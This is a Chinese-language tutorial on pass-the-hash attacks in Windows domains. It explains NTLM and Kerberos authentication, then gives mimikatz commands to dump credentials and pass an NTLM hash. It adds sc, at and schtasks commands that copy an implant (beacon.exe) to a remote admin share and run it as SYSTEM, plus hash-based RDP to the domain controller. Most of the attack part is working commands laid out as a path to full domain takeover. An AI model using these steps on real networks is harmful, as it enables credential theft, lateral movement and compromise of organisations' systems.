哈希传递

概念

早期SMB协议铭文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM

LM

image-20230404162156935

NTLM

image-20230404162223230

原理

哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、 LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。

NTLM验证靠HASH值

1.获得一台域主机的权限

2.Dump内存获得用户hash

3.通过pass the hash尝试登录其他主机

4.继续搜集hash并尝试远程登录

5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

1
2
3
4
5
6
1、client发送账户名user到server
2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client
3、client接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server
4、server对比自己内存中的net-ntlm hash与client发来的response是否一致

注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形势与server生成的net-ntlm hash一个格式

通过认证流程我们不难看出,只要有NTLM哈希在手,哪怕不知道明文密码也可以完成NTLM的认证

利用

hash传递浏览上传文件

当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含: 请求的用户名客户端主机名、加密类型Authenticator(用户NTLM Hash加密的时间戳)以及一些其他信息

在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

mimikatz

1
2
3
4
5
privilege::debug                            提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息
sekurlsa::pth /user:administrator /domain:xiusafe.com /ntlm:a803cf45d87009c404eb89df4b1ae94c
弹出新窗口
dir \\10.10.10.254\c$

image-20230404170905556

image-20230404171047530

image-20230404171200378

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test


#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt

#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com | findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P 1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P 1234.com

hash传递获取域控RDP

1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com /ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe /restrictedadmin"

image-20230404173241542

如果域控这个位置是灰色那就不允许这种方式登录,注册表还能挣扎一下